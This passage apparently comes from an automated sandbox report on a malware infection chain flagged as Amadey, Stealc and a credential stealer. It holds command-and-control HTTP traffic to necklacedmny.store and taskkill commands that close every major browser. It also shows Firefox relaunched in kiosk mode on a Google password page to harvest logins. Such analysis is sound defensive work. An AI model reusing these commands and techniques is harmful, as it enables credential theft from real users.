2024-11-01 04:02:53 UTC	214	IN	Data Raw: 64 30 0d 0a 34 4f 49 2f 50 65 6f 44 50 4f 4b 6b 43 4c 65 64 42 37 51 48 70 55 41 59 6f 79 42 64 37 4e 5a 58 71 5a 50 38 4c 65 47 64 4d 30 36 37 6d 52 31 49 79 44 6b 65 69 74 42 38 78 36 64 62 6d 31 75 4b 63 53 43 57 44 6d 2f 64 34 33 6d 59 6f 73 38 44 30 4b 74 76 59 59 2b 45 57 57 48 46 5a 31 6d 45 69 6d 33 50 2b 43 57 59 4a 63 4d 30 4f 70 6b 51 63 63 36 7a 64 5a 4f 6a 67 51 47 61 76 30 5a 73 32 73 42 58 53 5a 35 7a 42 72 36 4c 56 4a 69 73 50 34 45 70 6c 33 45 74 6a 52 46 73 33 2f 68 6d 6e 38 2f 54 51 49 6a 7a 56 68 4c 50 6b 46 35 54 6a 6d 78 52 7a 4d 46 77 30 72 38 72 6c 6d 48 52 59 69 4b 54 44 48 2b 4a 39 47 32 5a 37 71 45 3d 0d 0a Data Ascii: d04OI/PeoDPOKkCLedB7QHpUAYoyBd7NZXqZP8LeGdM067mR1IyDkeitB8x6dbm1uKcSCWDm/d43mYos8D0KtvYY+EWWHFZ1mEim3P+CWYJcM0OpkQcc6zdZOjgQGav0Zs2sBXSZ5zBr6LVJisP4Epl3EtjRFs3/hmn8/TQIjzVhLPkF5TjmxRzMFw0r8rlmHRYiKTDH+J9G2Z7qE=
2024-11-01 04:02:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	59923	188.114.96.3	443	368	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:03:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:03:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:03:06 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:03:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o5jjicdd301d6nqj1munrs10r7; expires=Mon, 24-Feb-2025 21:49:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5U8Dk3lSYP%2BRpcxDdGaA2mwYibOn76u1%2BcXmB26K24pVawBlEqo0WPyD84%2Bd8g14zrehRFE1ii406rPxkTdWVxaXuwnWeDo4VCF3NqMBJcquttNFZ4yjwD2aGW298d8xyP0lY3Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fe3dcc20e7fb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1326&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2257209&cwnd=250&unsent_bytes=0&cid=6ab93a24eb5af31a&ts=547&x=0"
2024-11-01 04:03:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:03:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:00:58
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe80000
File size:	2'874'880 bytes
MD5 hash:	DA2EA6B51A3216E065B2CED231C9E57F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2072623713.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2126921125.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2126880950.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2073666772.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2074587250.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2088397986.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2101970678.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:01:22
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe"
Imagebase:	0xd50000
File size:	1'911'296 bytes
MD5 hash:	19EC3B43009D50CF26E7BF585E169042
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2318149161.0000000000D51000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2276220371.0000000005390000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:01:25
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd70000
File size:	1'911'296 bytes
MD5 hash:	19EC3B43009D50CF26E7BF585E169042
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000002.2351129881.0000000000D71000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2310067297.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:02:00
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd70000
File size:	1'911'296 bytes
MD5 hash:	19EC3B43009D50CF26E7BF585E169042
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2653688875.0000000005550000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:02:14
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"
Imagebase:	0xa90000
File size:	2'874'880 bytes
MD5 hash:	DA2EA6B51A3216E065B2CED231C9E57F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:02:23
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"
Imagebase:	0x850000
File size:	2'137'600 bytes
MD5 hash:	212E008D0B8A1D4874846987F37E34FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2927820038.0000000000851000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2929579562.000000000157E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.2887362261.0000000005230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:02:27
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"
Imagebase:	0xa90000
File size:	2'874'880 bytes
MD5 hash:	DA2EA6B51A3216E065B2CED231C9E57F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3071306474.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3066643541.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3054565690.0000000001437000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3044619140.0000000001436000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3069882872.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3079505332.0000000001496000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3044619140.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3054565690.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3058058519.0000000001437000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3058058519.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000003.3073591620.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:02:31
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe"
Imagebase:	0xae0000
File size:	919'552 bytes
MD5 hash:	E79F27AB2A69921BB110A37574D7B139
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000A.00000003.3018106480.0000000001556000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000A.00000003.3018037056.000000000154F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:02:31
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:02:31
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:02:33
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:02:33
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:02:33
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:02:33
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:02:34
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:02:35
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"
Imagebase:	0x850000
File size:	2'137'600 bytes
MD5 hash:	212E008D0B8A1D4874846987F37E34FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.3142726544.000000000067B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.3008637392.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.3143857463.0000000000851000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:02:36
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b307a6ad-5f41-4ff3-b9e1-80e7264b3011} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d5446f110 socket
Imagebase:	0x7ff6d64d0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	00:02:38
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe"
Imagebase:	0xee0000
File size:	2'778'624 bytes
MD5 hash:	481C8B24C57DA4A1A61F3BA321F84C5C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:02:39
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003088001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003088001\num.exe"
Imagebase:	0x590000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000000.3034034011.0000000000591000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3192846829.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3192748086.0000000000591000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000002.3194553022.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001C.00000000.3034813943.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1003088001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:02:40
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4316 -parentBuildID 20230927232528 -prefsHandle 1204 -prefMapHandle 4052 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d9bcfe38-4f3d-480f-9d5a-656077f94da9} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d66a90910 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:02:44
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe"
Imagebase:	0xae0000
File size:	919'552 bytes
MD5 hash:	E79F27AB2A69921BB110A37574D7B139
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:02:44
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe"
Imagebase:	0x200000
File size:	1'911'296 bytes
MD5 hash:	19EC3B43009D50CF26E7BF585E169042
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.3148902384.0000000000201000.00000040.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.3104642103.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:02:44
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:02:45
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:02:52
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003088001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003088001\num.exe"
Imagebase:	0x590000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3233594668.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3233418469.0000000000591000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000000.3166108552.0000000000591000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3235463576.0000000000B37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000000.3166180848.00000000005AE000.00000002.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:02:54
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:02:54
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:02:54
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:02:54
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:02:54
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xcc0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
